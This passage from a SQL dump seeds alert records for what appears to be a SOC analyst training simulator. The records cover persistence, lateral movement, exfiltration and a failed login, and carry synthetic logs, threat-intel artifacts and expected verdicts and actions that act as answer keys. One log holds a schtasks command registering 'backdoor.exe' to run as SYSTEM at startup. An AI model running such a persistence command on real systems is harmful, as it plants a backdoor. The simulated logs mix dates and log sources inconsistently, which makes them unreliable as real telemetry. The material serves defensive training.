extraction script.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"extract_data.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Script used for unauthorized data extraction.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1051, 'Establishing Persistent Access', 'high', 'Log Monitoring', 'Anonymous (4chan) established persistent backdoors to ensure they could revisit and extract additional data if needed. The attackers used malicious scripts and tools to create unauthorized user accounts and install malware for persistent access.', 'Persistence', 'T1547: Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:10Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"user\":\"compromised_admin\",\"action\":\"Logon\",\"status\":\"Success\",\"file_created\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"file_hash\":\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\",\"new_user_account\":{\"username\":\"sys_maintenance\",\"privilege\":\"Administrator\"},\"malicious_command\":\"schtasks /create /tn \\\"System Maintenance\\\" /tr \\\"C:\\\\Windows\\\\System32\\\\backdoor.exe\\\" /sc onstart /ru SYSTEM\"}', '2026-01-24 00:33:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate workstation IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a known backdoor malware\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Unusual logon activity detected\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_admin\\\",\\\"action\\\":\\\"Logon\\\",\\\"status\\\":\\\"Success\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\\\",\\\"new_user_account\\\":{\\\"username\\\":\\\"sys_maintenance\\\",\\\"privilege\\\":\\\"Administrator\\\"},\\\"malicious_command\\\":\\\"schtasks /create /tn \\\\\\\"System Maintenance\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\\\\\" /sc onstart /ru SYSTEM\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_admin\\\",\\\"action\\\":\\\"Logon\\\",\\\"status\\\":\\\"Success\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\\\",\\\"new_user_account\\\":{\\\"username\\\":\\\"sys_maintenance\\\",\\\"privilege\\\":\\\"Administrator\\\"},\\\"malicious_command\\\":\\\"schtasks /create /tn \\\\\\\"System Maintenance\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\\\\\" /sc onstart /ru SYSTEM\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_admin\\\",\\\"action\\\":\\\"Logon\\\",\\\"status\\\":\\\"Success\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\\\",\\\"new_user_account\\\":{\\\"username\\\":\\\"sys_maintenance\\\",\\\"privilege\\\":\\\"Administrator\\\"},\\\"malicious_command\\\":\\\"schtasks /create /tn \\\\\\\"System Maintenance\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\\\\\" /sc onstart /ru SYSTEM\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_admin\\\",\\\"action\\\":\\\"Logon\\\",\\\"status\\\":\\\"Success\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\\\",\\\"new_user_account\\\":{\\\"username\\\":\\\"sys_maintenance\\\",\\\"privilege\\\":\\\"Administrator\\\"},\\\"malicious_command\\\":\\\"schtasks /create /tn \\\\\\\"System Maintenance\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\\\\\" /sc onstart /ru SYSTEM\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:10Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_admin\\\",\\\"action\\\":\\\"Logon\\\",\\\"status\\\":\\\"Success\\\",\\\"file_created\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"3bf0f3b9e7f12b2a4f2354d8e5d3a589\\\",\\\"new_user_account\\\":{\\\"username\\\":\\\"sys_maintenance\\\",\\\"privilege\\\":\\\"Administrator\\\"},\\\"malicious_command\\\":\\\"schtasks /create /tn \\\\\\\"System Maintenance\\\\\\\" /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\\\\\" /sc onstart /ru SYSTEM\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1052, 'Lateral Movement Across Systems', 'high', 'User Activity Monitoring', 'The attackers moved laterally within Twitch\'s infrastructure to find and access high-value data, increasing the potential impact of the breach.', 'Lateral Movement', 'T1570 - Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:23:36Z\",\"event_id\":\"4624\",\"user\":\"jdoe_admin\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"10.0.0.45\",\"file_transferred\":\"C:\\\\Windows\\\\Temp\\\\APT_tool_v2.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.5\",\"activity\":\"Lateral movement detected via SMB session from 192.168.1.101 to 10.0.0.45 using compromised credentials.\"}', '2026-01-24 00:33:47', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network log\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network log\",\"verdict\":\"internal\",\"details\":\"Internal destination IP address during lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the APT tool used.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"External attacker IP involved in the breach.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"user activity logs\",\"verdict\":\"suspicious\",\"details\":\"Compromised administrator credentials used in lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.751Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:36Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"file_transferred\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\APT_tool_v2.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.5\\\",\\\"activity\\\":\\\"Lateral movement detected via SMB session from 192.168.1.101 to 10.0.0.45 using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.751Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:36Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"file_transferred\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\APT_tool_v2.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.5\\\",\\\"activity\\\":\\\"Lateral movement detected via SMB session from 192.168.1.101 to 10.0.0.45 using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.751Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:36Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"file_transferred\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\APT_tool_v2.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.5\\\",\\\"activity\\\":\\\"Lateral movement detected via SMB session from 192.168.1.101 to 10.0.0.45 using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.751Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:36Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"file_transferred\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\APT_tool_v2.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.5\\\",\\\"activity\\\":\\\"Lateral movement detected via SMB session from 192.168.1.101 to 10.0.0.45 using compromised credentials.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.751Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:23:36Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"jdoe_admin\\\",\\\"source_ip\\\":\\\"192.168.1.101\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"file_transferred\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\APT_tool_v2.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"attacker_ip\\\":\\\"203.0.113.5\\\",\\\"activity\\\":\\\"Lateral movement detected via SMB session from 192.168.1.101 to 10.0.0.45 using compromised credentials.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1053, 'Massive Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) Systems', 'An expert-level threat actor has successfully exfiltrated 125GB of sensitive data, including source code and financial earnings, to an external server. The data was later publicly released, underscoring the seriousness of the breach.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-02T14:45:00Z\",\"event_id\":\"DLP-EXFIL-2023-1002\",\"source_ip\":\"10.0.0.25\",\"destination_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"filename\":\"SensitiveDataArchive.zip\",\"file_size\":\"125GB\",\"hash\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"protocol\":\"HTTPS\",\"action\":\"exfiltrated\",\"external_server_domain\":\"maliciousserver.com\"}', '2026-01-24 00:33:47', '2026-02-16 17:49:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal source IP of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"suspicious\",\"details\":\"Hash relates to a file previously flagged in suspicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"SensitiveDataArchive.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"suspicious\",\"details\":\"Filename resembles known patterns used in data theft.\"}},{\"id\":\"artifact_5\",\"type\":\"domain\",\"value\":\"maliciousserver.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Domain used for unauthorized data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.752Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:45:00Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-1002\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"SensitiveDataArchive.zip\\\",\\\"file_size\\\":\\\"125GB\\\",\\\"hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"external_server_domain\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.752Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:45:00Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-1002\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"SensitiveDataArchive.zip\\\",\\\"file_size\\\":\\\"125GB\\\",\\\"hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"external_server_domain\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.752Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:45:00Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-1002\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"SensitiveDataArchive.zip\\\",\\\"file_size\\\":\\\"125GB\\\",\\\"hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"external_server_domain\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.752Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:45:00Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-1002\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"SensitiveDataArchive.zip\\\",\\\"file_size\\\":\\\"125GB\\\",\\\"hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"external_server_domain\\\":\\\"maliciousserver.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.752Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:45:00Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-1002\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"SensitiveDataArchive.zip\\\",\\\"file_size\\\":\\\"125GB\\\",\\\"hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"external_server_domain\\\":\\\"maliciousserver.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1054, 'Unauthorized Login Attempt Detected', 'medium', 'SIEM logs', 'An unauthorized login attempt was detected using credentials associated with an employee. The source of the login attempt is traced back to an IP address not recognized as part of the typical network traffic, indicating potential credential compromise through phishing.', 'Credential Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:42:17Z\",\"event_id\":\"4625\",\"logon_type\":\"3\",\"source_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"target_domain\":\"corp.godaddy.com\",\"status\":\"Failed\",\"failure_reason\":\"Account currently disabled\",\"internal_ip\":\"10.10.15.23\",\"log_source\":\"Windows Security Log\",\"event_description\":\"An account failed to log on.\"}', '2026-01-24 00:38:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple unauthorized login attempts globally.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Employee account used within GoDaddy.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.753Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_domain\\\":\\\"corp.godaddy.com\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Account currently disabled\\\",\\\"internal_ip\\\":\\\"10.10.15.23\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"event_description\\\":\\\"An account failed to log on.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.753Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_domain\\\":\\\"corp.godaddy.com\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Account currently disabled\\\",\\\"internal_ip\\\":\\\"10.10.15.23\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"event_description\\\":\\\"An account failed to log on.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.753Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_domain\\\":\\\"corp.godaddy.com\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Account currently disabled\\\",\\\"internal_ip\\\":\\\"10.10.15.23\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"event_description\\\":\\\"An account failed to log on.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.753Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_domain\\\":\\\"corp.godaddy.com\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Account currently disabled\\\",\\\"internal_ip\\\":\\\"10.10.15.23\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"event_description\\\":\\\"An account failed to log on.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.753Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:42:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"logon_type\\\":\\\"3\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"target_domain\\\":\\\"corp.godaddy.com\\\",\\\"status\\\":\\\"Failed\\\",\\\"failure_reason\\\":\\\"Account currently disabled\\\",\\\"internal_ip\\\":\\\"10.10.15.23\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"event_description\\\":\\\"An account failed to log on.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
